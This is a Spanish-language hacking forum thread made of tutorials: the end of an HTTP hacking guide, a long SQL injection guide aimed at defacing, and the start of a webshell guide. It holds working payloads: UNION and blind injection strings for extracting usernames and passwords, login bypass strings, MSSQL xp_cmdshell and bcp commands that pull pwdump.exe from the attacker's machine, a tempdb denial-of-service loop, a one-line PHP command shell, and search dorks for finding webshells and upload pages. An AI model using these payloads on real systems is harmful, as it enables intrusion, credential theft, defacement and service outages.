nc No tienes permitido ver los links. Registrarse o Entrar a mi cuenta 80
DELETE /index.html HTTP/1.0

Bueno ya hemos terminado esta breve Introduccion al Http Hacking...

Pueden leer tutos:

* Aprende a usar Live http Headers

* HTTP al Descubierto By Sknight & Vengador de las Sombras

Autor: Zero Bits
Fecha: 24/07/09
Team: Pandoras Box Team
#34
Código: php
###################################
#Author: blood_rec                #
#Colaborators: Georgio            #
#blog: http://h4xxor.blogspot.com #
#web: http://e-r00t.org           #
#contact: blood_rec @el-hacker.org #
###################################


####################################################################
# Cubriendo Y Aplicando Teorias De Inyecion Sql                    #
####################################################################
==========================================================================================================================================================
A-Introduccion:

Este Paper pretende cubrir 2 areas Teoria Y Practica si no te gusta leer mucho simplemente Erase (borra) el paper con este paper pretendemos cubrir todo lo referente recopilando info y con los conocimientos limitados que tenemos queremos simplemente dar una guia referente al tema es como el Paper de "Defacing De La Manera Correcta" pero esta vez con practicas y lectura para entretener al usuario que quiere adentrarse en el tema del defacing.

es imprecindible que no traten de saltar ninguna area ya que pretendemos cubrir lo mas extenso posible para que tenga un buen enfasis de lo que realizan y el escenario que enfrentaremos alla afuera en la web

ya e escribido varias veces sobre las vulnerabilidades webs y ciertamente cada vez que pasan los dias la tecnologia y la web se va moviendo a pasos Agigantados hasta el punto que se a vuelto en el medio publicitario mas grande de estos dias.

pero a medida que nos movemos muchos quieren convertirse en desarrolladores de aplicaciones asi como webmasters u administradores de servidores webs,la competencia es amplia y asi como es amplia las vulnerabilidades aumentan asi como las viejas (vulnerabilidades) siguen haciendo presencia en nuestros scripts (me incluyo) por que estamos sujetos a cometer errores con nuestras aplicaciones.

ya los que me conocen saben que soy bien teorico en este tema y me gusta abarcar el medio Pero Por que lo hago? el conocimiento del hombre esta bajo unas letras y mientras mas entendamos el tema podemos aplicar todo lo que se explica dentro de el.

En este paper estaremos cubriendo las areas mencionadas en el menu arriba y asumimos que la practica la llevaras a cabo en tu servidor local L.A.M.P <> W.A.M.P, sea el escenario en una red LAN de tu propiedad o el escenario ya mencionado pero asumimos que todo es con motivo educacional y proponiendo los problemas ya mencionados en el tema.

asumimos que si estas leyendo este paper tienes conocimientos basicos de php si no es asi puedes pasar por http://php.net y ahi podras encontrar mucha info al respecto, asi como puedes encontrar informacion en http://google.com = search - php manuales xD. y pases por el buscador a buscar referencias sobre lo que no entiendan asi como los otros lenguajes al menos conocimientos basicos como en perl,html,javascript etc pero al menos lo basico...

Segun Wikipedia:
SQL Injection es una vulnerabilidad en el nivel de la validación de las entradas a la base de datos de una aplicación. Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el
código "invasor en la base de datos.


bueno a lo que vivnimos...
#####################################################################
B-Inyecciones SQL (SQL Injections):

Primero asumo que llegastes a este manual por que quieres aprender como se realiza este ataque y muchas veces debes haber leido esta explicacion pero muchos que empieza este tema pues aun no se enteran de que se trata esto y que significa pues como lectura obligatoria pongo su significado.

Inyeccion Sql Es cuando un comando SQL que es un lenguaje de gestion de datos es ejecutado con las intenciones de obtener data de una base de datos,en palabras mas tecnicas estamos haciendo una consulta arbitraria  de un comando peviamente establecido., y de esa manera manipulamos la aplicacion que queremos.

No es algo muy avanzado ni muy nuevo en nuestro mundo under y realmente se pregunta constantemente pero que herramientas debo usar para hacer inyecciones sql's ?

realmente no nesesitas muchas tools con solo firefox bastara xD http://mozzila.org/firefox ,...

explotar validaciones de aplicaciones que se gestiones por base de datos mysql son el escenario que realmente perseguimos o un ejemplo de probar dicha vulnerabilidad,...

Obviamente no puedo llenarlos de letras explicando todo esto todo el dia por que igual me criticarian y a mi me facina escribir pero en fin vallamos mas adelante:

1-Detectando La Vulnerabilidad:
Bueno lo primero que nesesitaremos es obviamente la curiosidad y la malicia pongamos el escenario asi; entramos en una pagina dinamica en php y nos pide una autentificacion., obviamente no la tenemos y tendremos que registrarnos interactuando con una forma en php que asi mismo ella interactua con una base de datos para incluir el usuario.

ok para saber como interactuan ambas sabmos que cuando registras un usuario en una forma y queda registrado en la base de datos quedan guardados en una tabla o en muchas de ellas seria en la tabla de miembros y el usuario asi como el password quedan guardados en diferentes columnas., detente si no tienes idea de esto es hora que te pases por http://wikipedia.org/SQL .

Cuanod te logeas en la forma la aplicacion busca la DATA del usuario en la tabla del usuario que proporcionastes asi como el password, asi la aplicacion despues de encontrar el usuario y contrasena que suplistes te dejara logearte en dicha aplicacion., si se diera el caso que los datos son icorrectos pues la aplicacion te lo informara que los datos son icorrectos o el usuario que proporcionaste no existe etc., ya a de haberle pasado alguna vez..

SQL puede darte estos datos en pantalla tambien y mostrar la informacion dentro de una palicacion web., eso en el ejemplo de las formas de logeo asi como si la aplicacion tiene una seccion de posteo de links pues tendra una tabla en la base de datos que guarda y gestiona los links publicados, lo mismo para noticias, una tabla que guardara los nombres de las noticias, en este caso la mayoria de las veces estas noticias u cosas,artculos se identifican la mayoria de las veces en las tablas por un numero.

como nos damos de cuenta cual es ese numero si miramos la url del sitio que estamos probando dira o sera asi

---> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=69 ]

la url le dice al sitio ue mire la tabla que tiene el nombre del articulo que es :

[ ArticuloID que es "69" ]

Una vez que el sitio busca la tabla del "ArticuloID" que se Busca la misma linea que se llama "Titulo" Dentro de la columna y la muestra en tu navegador.

En este otro caso veremos "lammer" como titulo de nuestro Articulo, recuerden que es bien importante ver que esta escrito despues de '=' que es parte de un comando SQL siempre tengamos eso en mente:
####################
#Articulo_Id#Titulo#
#===========#======#
#69         #lammer#
#70         #kiddie#
#71         #noob  #
####################

OK y entonces que es lo que debemos hacer ya que tenemos nuestra victima? ok ejecutaremos comandos manualmente a ver si nuestra aplicacion es vulnerable,realizando nuestras consultas via navegador (firefox) xD, ejecutaremos ese comando siempre despues de '=' si es el caso que queremos inyectar en la forma que nos muestra los articulos,etc., si es el caso que es una forma de autentificacion sease usuario + password pues los comandos los ejecutaremos en los campos mencionados. como una barra de busqueda una barra de usuario o password.

si es vulnerable siempre el sitio hara lo que le digas que haga solo manipulando las consultas SQL xD

Es muy importante siempre leer y aprender sobre lo que estas haciendo aprender los comandos y todo aplicarlo a full ya que de esa manera la practica te hara un maestro. Memorizarte poco a poco te hara bien y entonces nos familiarizamos con algunos comandos SQL:

#################################################################################################################
Comando                      ##                                     Uso                                         #
================================================================================================================#
ORDER BY               Le Ordena Al sitio que nos muestre la columna en la misma pagina que estamos visualizando#
OR                     El Comando se usa si una sentencia es verdadera dentro de la consulta SQL                #
+                      Se Usa En Vez De Usar Espacio Lease,Entiendase la tecla de Espacio [Space]               #
--                     Termina Una sentencia de comandos SQL asi como lasm ';' en perl etc                      #                     
AND                    Ambas consultas tienen que ser verdaderas dentro de la base de datos Para ser llevada    #
UPDATE                 Cambia la informacion dentro de una Columna O Una Tabla                                  #
SELECT                 Especifica Informacion En una Tabla                                                      #
#################################################################################################################

La manera mas sencilla de aplicar una inyeccion sql,es burlando autentificaciones,que son nada mas o menos que las autentificaciones de usuario y password:

algo como esto script para practicar en tu localhost:

[auten.html]
####################################################
<form action="auten.php" method="post">            #
Username: <input type="text" name="usuario" />     #
<br>                                               #
Password: <input type="password" name="password" />#
<input type="submit" value="Login" />              #
</form>                                            #
####################################################
[auten.php]
###############################################################################################
<?php                                                                                         #
$mysqlcon = mysql_connect("localhost:413","root","12345") or die(mysqlerror());               #
$username = $_POST['usuario'];                                                                #
$password = md5($_POST['password']);                                                          #
mysql_select_db("mydb", $mysqlcon ) or die(mysqlerror());                                     #
$loginauthsql = "SELECT * FROM USERS WHERE USER_NAME = '" . $username . "' AND PASSWORD = '" .#
$password . "'";                                                                              #
//esta parte te puede servir a la hora que vallas haciendo las consultas como referencia.     #
echo '<b>' . 'SQL QUERY: ' . '</b>' . $loginauthsql . "<br />" . "<br />";                    #
$result = mysql_query($loginauthsql, $mysqlcon) or die(mysqlerror());                         #
if (mysql_numrows($result) != 0 )                                                             #
{                                                                                             #
         echo 'AUTHENTICATION ' . '<font color="#00CC66">' . 'GRANTED' . '</font>';           #
}                                                                                             #
else                                                                                          #
{                                                                                             #
         echo 'AUTHENTICATION ' . '<font color="#FF0000">' . 'FAILED' . '</font>';            #
}                                                                                             #
mysql_close($mysqlcon);                                                                       #
?>                                                                                            #
###############################################################################################

Thanks Aelphaeis

pero en este caso probaremos con una consulta bien elemental dentro del mundo de las inyecciones sql y es con tan simple el uso de (') comilla , sabemos que en la forma el usuario y el password esta rodeado de comillas simples "'" entonces si sometemos a la forma una simple comilla te arrojara un error dado que hay 2 "'" (comillas) invisbles en la forma si sometemos a' te arrojara el error comun cuando hay un error de consulta SQL en el servidor obviamente nos daremos cuenta pero que realmente esta pasando detras de nostros ?:

cuando sometimos ' el servidor envio una consulta a la base de datos para interpretar ' que en los campos mencionados arriba estan rodeados de ellas 'usuario' seria el ejemplo al servidor no encontrar nada en la base de datos que consulte ese comando ni en las tablas ni en las lineas ni en las columnas por ende es un error del programador (entiendase) una vulnerabilidad aunque no en todos los casos.

siempre dentro de una base de datos tenemos el INFORMATION_SCHEMA que guarda cada nombre de las tablas y de las columnas de un sitio en siempre un servidor tendra el INFORMATION_SCHEMA como dato obvio su nombre nunca cambiara las tablas dentro de INFORMATION_SCHEMA que guarda los nombres de las otras tablas tendran una tabla dentro que se llamara INFORMATION_SCHEMA.TABLES el nombre de la columna que guarda la informacion que practicamente queremos se llama a su vez table_name la tabla que guarda el nombre de las otras columnas dentro de INFORMATION_SCHEMA se llama INFORMATION_SCHEMA.COLUMNS y sucesivamente la columna que guarda la informacion que queremos de esta parte se llama column_name recuerden que esto es dentro de INFORMATION_SCHEMA.COLUMNS., ya se les esta haciendo claro no?. xD

como explique antes podemos siempre encontrar la caracteristica que el sitio web que gestiona la base de datos siempre tiene "=" en su URL por ende que para ejecutar los comandos tenemos que hacerlo luego de "=" ok simplemente prueba con los comandos o consultas despues de...

ok vamos a nuestro escenario imaginario:

estamos navegando y nos encontramos nuevamente con la web:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10 ]

ok vamos a determinar si es vulnerable

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=0-- ]

bueno aqui lo que paso fue lo siguiente es que se supone que se muestre el articulo 10 solo se mostrara si 1 es igual que 0, en este caso  "AND" significa que para que el articulo 10 se muestre en el sitio debe existir (en la base de datos) "AND" 1 debe ser igual que 0, esto ocacionara que no se muestre el articulo ya que 1 no es igual que 0 .

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+AND+1=1-- ]

se muestra el articulo 10 si el 1 es igual que el 1 .,el articulo se mostrara en la pagina ya que "AND" 1 es igual que 1 .,Ahoea sabemos que la aplicacion es vulnerable ya que se muestra cuando queremos y no lo haces cuando queremos xD., es hora de continuar con nuestro ataque ;-)
Ahora queremos encontrar las columnas de nuestro sitio:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+1-- ]

"ORDER BY 1" donde esta "1" es el numero de la columna lo que hace es mostrarnos la primera columna en la pagina.,"ORDER BY 2" nos mostrara la 2 columna en la pagina., sucesivamente vamos aunmentando los valores del numero sumandole (+) uno   hasta que nos muestre un error en la pagina y entonces cuando nos muestra el error la restamos uno de los numeros que pusimos y no te olvides de ese numero por ejemplo si sumastes numeros y te dio el error cuando pusistes hasta 6 entonces seria asi:

--> [ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=10+ORDER+BY+5-- ]

bueno ya sabemos que tiene 5 columnas la aplicacion., ahora queremos conseguir el nombre de las tablas que ya arriba habiamos mencionado este comando pues eso lo haremos de esta manera:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,4,5+FROM+INFORMATION_SCHEMA.TABLES-- ]


OK expliquemos esa sentencia SELECT Le indica al sitio que muestre la informacion de la tabla que usted especifica.,en este caso acabamos remplazando el numero del articulo que era 69 por un caracter negativo "-".,recordemos tambien que en pasos anteriores para buscar la columna ibamos sumandole numeros y agregandolos a la url pues en este caso los vamos poniendo uno al lado del otro separados de una coma "," (1,2,3,4,5).

Se supone que a estas alturas uno de esos numeros que pusistes en la consulta de la URL al menos uno se muestre en el website (pantalla).

ahora lo que iremos es remplazando los numeros en la URL por palabras si se van mostrando en la pantalla..


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES-- ]


Recuerden que deben remplazar un al menos uno de los numeros con "nombre_tabla" que es el nombre de la tabla.,FROM+INFORMATION_SCHEMA.TABLES recuerden tambien que esto te mostrara el nombre de la tabla que ya eso lo explicamos arriba.,el nombre de la tabla numero 4 que fue la que remplazamos se mostrara en la pantalla.,...


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_tabla,5+FROM+INFORMATION_SCHEMA.TABLES+WHERE+nombre_tabla>'displayed_table'-- ]


Estamos seguros que "nombre_tabla" no es la que buscamos y la que queremos es la que tiene los usuarios y los passwords.,para navegar una lista de tablas y encontrar la tabla correcta agregamos:

[+WHERE+nombre_tabla>'displayed_table']


  Displayed_table muestra la tabla incorrecta despues de TABLES por ende este comando displayed_table nos muestra la tabla siguiente despues de.,entonces lo que hacemos es que repetimos el paso anterior hasta que nos muestre una tabla deseada que en este caso la que queremos es la que contenga los usuarios.,ya cuando la consigas no olvides el nombre de la tabla que querias.,

Ahora queremos sacar nuestra columna o nombre de la columna:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_S
CHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'-- ]


Entonces FROM+INFORMATION_SCHEMA.COLUMNS lo que hace es mostrarnos el nombre de las columnas en la tabla 'CuentasUsuarios'.,ahora en vez de mostrarse el nombre de la tabla se mostrara el nombre de la columna en la tabla 'CuentasUsuarios'..

como en pasos anteriores tenemos un blanco especifico y ahora en este caso buscar la columna especifica:


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,nombre_columna,5+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+nombre_tabla='CuentasUsuarios'+AND+nombre_columna>'displayed_column'-- ]


como reiteradamente mencione antes,queremos buscar la columna especifica de igual manera que hicimos para conseguir la tabla de usuarios antes.,si lo que queremos son los usuarios y passwords pues sabemos que debemos buscar las columnas que tengan nombres similares a usuarios,passwords,user,pass,logeo,acceso etc.

el comando anterior lo que hace es mostrar la columna que va siguiente a la mostrada que habiamos sacado previamente, y como ya mencione en el paso de sacar las tablas repetiremos los pasos hasta dar con la columna que queremos.

y ya dimos supuestamente con las columnas que queriamos que se llaman 'usuario' 'acceso' no olvidemos estas columnas tampoco,asumiendo que apuntaron los resultados para tener nuestra inyeccion final recordamos que los datos serian asi

##################################
#Nombre de Tabla         Columnas#
##################################
#CuentasUsuarios         usuario #
#                         acceso #
##################################


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,2,3,usuario,5+FROM+CuentasUsuarios-- ]


Este comando nos muestra la primera data de la columna "usuarios" de la tabla "CuentasUsuarios".

Digamos que la pagina nos mostro 'Cascanola' xD


[ www.webquenoesdelgobierno.com/articulos.asp?ArticuloID=-1+UNION+SELECT+1,acceso,3+FROM+CuentasUsuarios+WHERE+usuario='Cascanola'-- ]


Este comando nos mostrara el password del usuario 'Cascanola' que esta guardado en la tabla 'CuentasUsuarios'.,entonces en nuestra pagina se nos tiene que haber mostrado el password del usuario que en nuestro ataque imaginario es "12345678" xD...

entonces al final de nuestro ataque nos logueamos con el usuario 'Cascanola' y el password '12345678' xD Ewww...

recordemos que este escenario solo es suponiendo las paginas y las consultas se aplicaran con la pura logica del usuario..

ok podemos aplicar mas o menos los mismos metodos en otro tpo de base de datos no nesesariamente sql server, mssql de mocosoft xD, en fin las tecnicas mas o menos iguales aqui una rapida introduccion la misma web escenario pero en php..


[ www.webquenoesdelgobierno.com/index.php?id=0 ]


lo mismo que ya deben saber despues de "=" es nuestro articulo por ende la consulta a la base de dato y que si fuera el caso que fuera vulnerable nuestra aplicacion la inyeccion va a partir de "=".,

esta vez usamos de ejemplo un formulario de logeo y lo primero que usaremos el articulo siendo "=0" sera


[ 'OR 1=1--]


ok ya tenemos claro muchas cosillas debido a la lectura hasta este momento xD usaremos ese comando en los campos de logeo osea donde dice usuario y password,usemos otro ejemplo pero directo a la URL:


[ www.webquenoesdelgobierno.com/index.php?id=0  'OR 1=1-- ]

usualmente este lo usamos cuando es una inyeccion a ciegas que meramente hablaremos de ella mas adelante por consecuente haz de haber investigado de mas comandos SQL para sacar info dentro de las base de datos podemos usar muchos otros strings u comandos.


   admin'--
' or 0=0 --
" or 0=0 --
  or 0=0 --
'hi or 1=1--

hay muchas tecnicas abarcadas dentro del tema de las inyecciones sql de las que podemos poner muchicimas pero no quiero aburrirlos en el tema repetitivo y algo que quiero recrdarles que dentro de la base de datos no solamente podemos atacar con inyecciones SQL los Buffer Overflows que es un Ataque bien interesante y uno de los metodos favoritos de este servidor se pueden realizar dentro de ellas pero por ahora eso es en otro capitulo.

es bien impotante recordar que muchas veces nos enontramos con tal aplicacion y ni sabemos que tipo de base de datos gestiona pero eso lo iras mejorando durante el camino si aun asi no sabes como dar con ella puedes intentar con zenmap es una herramienta indispensable a la hora de hacer pentesting.

Ahora sigamos con el tema de las inyecciones en este caso las inyecciones a ciegas o como se conoce en ingles Blind SQL Injection.,ok explico que es esto usualmente cuando inyectamos una aplicacion y manipulamos la base de datos usualmente nos da los errores tipicos que nos indican si es vulnerable o no.,a raiz de esto los adminsitradores solo prohibe la muestra de errores en la programacion para que no sean mostradas en el sitio web para prevenir futuros ataques.

saben que administradores esto no los salva del todo xD igual si no muestra los errores puede ser vulnerable a inyeccion a ciegas ;-)

ok vamos a nuestro escenario imaginario para explicar mas sobre el asunto.digamos que nuestra webquenoesdelgobierno tiene una seccion que le da la oportunidad a sus empleados a ver los memos en linea de la empresa que son publicados blablabla la historia que ustedes quieran:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 ]


entonces el comando que usara la web para buscar la data en la base de datos y mostrarse en la web sera este:


[ SELECT title, description,memoDate, body FROM memodats WHERE memodatID = 2 ]


y entonces el servidor respondera mostrando el 2 memo hecho por la empresa en forma de HTML para que pueda ser visualizado en dicha pagina (obviamente) y es lo que vemos con nuestros navegadores.

para probar si nuestra aplicacion es vulnerable traten de injectar un caracter mas despues del Parametro Comando WHERE y veamos que pasa?


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND 1=1 ]

por resultado el website realiza la siguiente consulta:


[ SELECT title, description, memoDate, body FROM memodats WHERE memodatID = 2 AND 1=1 ]


si por resultado la pagina se muestro con el 2 memo o sea la pagina normal que vistes al principio antes de hacer esa consulta pues tenemos una apliccion vulnerable a inyeccion SQL a ciegas.,si la aplicacion no fuera vulnerable pues simplemente la pagina no mostraba el memo o sea nuestra pagina por que el usuario hizo una mala consulta a la base de datos.

Cuanod probamos la aplicacion el Parametro WHERE es predecible 1=1 siempre sera nuestro inicio por ende real (exite) pero no siempre sabemos si es true entonce por que no le preguntamos a la base de datos directamente?:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND USER_NAME() = 'dbo' ]


USER_NAME() s un parametro que te muestra el nombre del usuaro actual si el usuario actual es 'dbo' (el administrador) entonces el memo se mostrar (nuestra pagina) si no es asi no se mostrara tan sencillo como eso.

entonces podemos de muchas maneras seguir sacandole info a la aplicacion como nombre de la tabla un numero a la vez como la que ya aplicamos pero de otra manera:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 109 ]


El Parametrdentro de la consulta 'SELECT' pregunta el nombre de la primera tabla del usuario de la base datos que obviamente siempre es lo primero que queremos haces a la hora de sql injection.,el parametro dentro de la consulta substring() esta funcion nos mostrara el primer caracter de nuestra consulta, el parametro lower() dentro de la consulta lo que hace es convertir ese caracter en letra minuscula, y finalmente el parametro ascii() dentro de la consulta lo que hace es mostrarnos ese caracter en ascii o sea el valor ascii, claro? XD ehh

si el servidor nos responde mostrando la pagina que normalmente estabamos visualizando o sea el memo pues sabemos que la primera letra de la consulta esta despues de m en ascii es valor 109,haciendo algunas consultas podemos dar con el valor exacto de la letra.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 116 ]


si no se mostro nuestro memo (la pagina) pues el valor ascii es mayor que 109,pero menor que 116 la letra esta entre 'n' y 't'.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 113 ]

otro falso(pagina no mostrada) pues debe estar entre '110' y '113'.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) > 111 ]

falso nuevamente :O pues debe estar entre estas dos letras 'n' y 'o', entonces continuamos cambiando un poco la consulta:


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 1,1))) = 111 ]


El servidor nos muestra nuestro memo (pagina) asi que es positivo nuestro nombre de tabla en este caso es 'o' asi como la primera tabla de ella,para sacar la segunda letra repetiremos el proceso pero cambiaremos el parametro de consulta en substring() que el parametro seria el numero que va despues de 'xtype='U'),.


[ www.webquenoesdelgobierno.com/memodat.jsp?memodatID=2 AND ascii(lower(substring((SELECT TOP 1 name FROM sysobjects WHERE xtype='U'), 2,1))) = 109 ]


Repitamos el proceso hasta que nos de la palabra completa el problema de las inyecciones SQL a ciegas (Blind) es que tienen que hacer Hartas peticiones para dar con su objetivo,algo que lo pueden arreglar mientras van puliendo sus tecnicas.

repasemos otra vez atras con lo fundamental y su ejercicio es aqui es imaginarse el escenario y analizar la estructura del codigo SQL para saber de que manera es vulnerable analizemos este codigo:


[SQLQuery = "SELECT Username FROM Users WHERE Username = '" &
strUsername & "' AND Password = '" & strPassword & "'"
strAuthCheck = GetQueryResult(SQLQuery)
If strAuthCheck = "" Then
     boolAuthenticated = False
Else
     boolAuthenticated = True
End If]


ahora ustedes ya deben saber que cuando nos encontramos con una forma de logeo y password este codigo o similar es lo que tenemos en la base de datos vulnerable,entonces cuando metes los datos de usuario la consulta verifica en las tablas si hay algunos datos que concuerden con la data que acabas de admitir. si la data es encontrada pues eso se guarda en la variable strAuthCheck indicando que el usuario debe ser autentificado,si se diera que el usuario que accedimos no concuerda con ninguna de la data de la base de datos entonces la variable strAuthCheck se queda vacia por que el usuario no puede ser autentificado.

si las variables strUsername y strPassword tienen algun caracter que usted quiere pues usteden pueden modificar la consulta SQL para que le devuelva el nombre que ustedes quieren,sin nesesidad de saber el password u/o el usuario.pero eso les quedo ya bien claro atraves de la lectura solo que lo enfatizo mas para que se hagan de una idea totalmente clara,pueden decir pero si ya explicastes eso arriba. no esta demas refrescar el cocote xD.

ok preparemos otro posible escenario pero esta vez en sql server y digamos que ya obtuvistes los datos que quieres,entonces quieres ganar priilegios dentro del servidor y subir archivos al mismo muchos de los puertos que se podrian utilizar el firewall los bloquea como lo son los puertos 137-139.,lo que haremos es subir un archivo binario en una tabla creada por ti mismo directo en la base de datos y luego saltandolo a los directorios del server. xD
una manera bien rara pero todavia funciona

entonces crearemos una tabla en el servidor:


[ create table TablaMaligna (data text) ]

Despues de haber creado la tabla subiremos nuestro binario a la mismisima tabla que hemos creado:

[ bulk insert TablaMaligna
      from 'pwdump.exe'
      with (codepage='RAW') ]


El binario podemos descargarlo de manera remota al servidor victima con el siguiente comando:


[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -ipnuestra -Rus -N3n3Bueno' ]


este comando va a suceder una conexion entrante a nuestra pc y escribiendo los comandos en el ejecutable que estamos recreando,en este escenario usaremos el protocolo por defecto asi como el puerto por defecto que puede ser que el firewall bloquee esa conexion entonces haremos:


[ exec xp_regwrite
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\MSSQLServer\Client\ConnectTo',
'N3n3Bueno','REG_SZ','DBMSSOCN,ipnuestra,80'
]


luego :


[ exec xp_cmdshell 'bcp "select * from TablaMaligna" queryout
pwdump.exe -c -Craw -go0ns -Rus -N3n3Bueno' ]


el primer comando SQL configurara una conexion remota interactiva en el puerto -80 hacia nuestra maquina mientras el segundo comando SQL se conectara con nuestra maquina a traves del puerto -80 para descargar nuestro archivo binario..

entonces se preguntaran por que tanto revolu y tanta cosa pero lo que queremos enfatizar con este paper es cubrir el tema por completo en cada una de las tecnicas usadas.antes de llegar a usar los scanners y cosas y algo que veo bien comun es la costumbre de usar el SSS :O si ese mismo scanners que te arroja un 80% de falsos positivos a sabiendas que a manos pueden hacer muchicimas cosas.

ahora iremos algo mas teorico sobre esta vulnerabilidad para acabar con este capitulo a la hora de buscar la vulnerabilidad de esa aplicacion debemos tener bien en claro que el cliente debe comunicarse con el servidor y cuales son nuestros objetivos dentro de la ejecucion de la inyeccion.

despues de obtener los privilegios o que ya tengamos claro que la aplicacion es vulnerable podemos hacer muchas cosas inclusive un ataque de denegacion de servicio:


[ create table #tmp (x varchar(8000))
exec('insert into #tmp select ''X''')
while 1=1 exec('insert into #tmp select * from #tmp' ]


si haciendo esa consulta y manipulando los comandos podemos crear una tabla y correra con un loop infinito insertando variables en la tabla :O., las tablas temporeras se guardan en el sistema temporero de la base de datos y eventualmente nuestra base de datos temporal crecera resultando en el consumo de todos los recursos,y por ende el sistema cae al no poder comunicarse con la base de datos.
#######################################################################################

las tecnicas son muchicimas y podemos continuar ire agregando mas tecnicas dado que la nesesidad que vayan por un paso a paso en estos tiempos es imprecindible. continuaremos con el proximo capitulo y espero que esta introduccion les haya gustado. por ahora terminamos aqui a pasar a lo proximo
========================================================================================================================================================

###########
#blood_rec#
###########


salu2
#35
Saludos a todos.
el tutorial esta basico, pero creo que a muchos les serviria :D

bueno el contenido de este minututorial es


Tips a la hora de usar shells + otras cuantas cosas

0x01 Q son la shells.
0x02 PhpShells
0x03 Creacion de PhpShells
0x04 Subir una shell a un servidor
0x05 Ya subi la shell y ahora?
0x06 Preparando el sistema para volver (Keylogger php) o (POSTlogger php)
0x07 Dejar shell incrustada (Shell Embedded)
0x08 Preguntas en otros foros sobre este tuto
0x09 Conclusion
0x10 Agradecimiento


0x01 Shell


A una shell como tal la podemos definir como el software que permite que el usuario acceda a los servicios del sistema sin ir directamente al kernel, si no precisamente a travez de la shell, en otras palabras la shell sera una intermediaria entre el usuario y el sistema.


0x02 PhpShell (WebShell)


Bueno en este orden de ideas podemos entonces decir que una phpShell es un intermediario entre el sistema y el usuario, con la particularidad que esta desarrollada en php, asi como hay shells hechas en php, tambien existen en un sin fin de lenguajes de programacion, la ventaja de q la shell este hecha en php o en algun lenguaje de programacion para la web, es q podremos usar la shell aprovechando los servicios de la maquina remota.

en otras palabras Gracias a que en la maquina remota esta corriendo un servicio, nuestra (Web)shell se ejecutara y podremos visualizarla por el navegador.


0x03 Creacion de una PhpShell.



Pues como se imaginaran si quicieramos crear una phpshell, lo que necesitariamos fundamentalmente es conocer a fondo el lenguaje de programacion en el que la vamos a desarrollar, y crear opciones de manejo de archivos, navegacion en el servidor etc, es decir, todo lo que nos facilite interactuar con el sistema remoto.
un miniejemplo de una shell, que pueda ejecutar comandos en el servidor seria.

partiendo de que el comando de php : system('dir'); ejecuta el comando dir en la maquina donde este alojado el archivo, entonces podremos decir que lo haremos para que ejecute todo lo que envien por un navegador.

¿como asi? si pues por ejemplo si hacemos un archivo php con el siguiente contenido:

Código: php
<?php
echo $_GET['comando'];
?>



lo guardamos como test.php. lo colocamos en un servidor web que soporte php (podrian hacerlo en uno free o localmente para probar) y accedemmos al archivo por el navegador asi

Código: php
www.dondeestemontado.com/test.php?comando=Hola


el resultado que nos debe arrojar el servidor es simpemente: Hola
pues lo que le decimos esq con GET osea hace referencia a lo q viaje por la url (por decirlo de algun modo) y solo decimos que escriba lo q llego en comando.


si modificamos el test.php por algo como esto
Código: php
<?php
system( $_GET['comando']);
?>

lo que hara sera ejecutar el comando q le enviemos por la url
por ejemplo si mandamos algo como esto en la url

Código: php
www.dondeestemontado.com/test.php?comando=dir


se ejecutara un dir en el servidor.

tambien podriamos hacer algo asi:

Código: php
<?php
show_code( $_GET['comando']);
?>


Código: php
www.dondeestemontado.com/test.php?comando=index.php


con lo que visualizaremos el codigo de index.php.

como ven, con este archivo php estamos de ciertaforma comunicandos con la maquina. asi que digamos q este es el principio basico de una shell. Actualemente encontraras shells famosas como c99,c100,r57... entre muchas otras, que ya cuentan con sistemas completo para saltarse muchos filtros. son faciles de encontrar. simpemente si quieren algunas de las q les digo coloquen en google:

Código: php
inurl:c99.txt


0x04 Subir una shell a un servidor

Cuando se trata de atacar un servidor web, lo que uno principalmente busca de cierta forma, es tratar de colar una phpshell, para que? pues para tener mas acceso al servidor e ir por la informacion que nos interesa.
osea que ya se imaginaran que necesitan un especie de uploading o explotar algun tipo de bug que permita subir archivos.  partiendo de ese principio basico se imaginaran que si colocamos digamos en google

Código: php
inurl:upload.php


encontraremos muchos uploading para probar haber si podemos colar una phpshell.
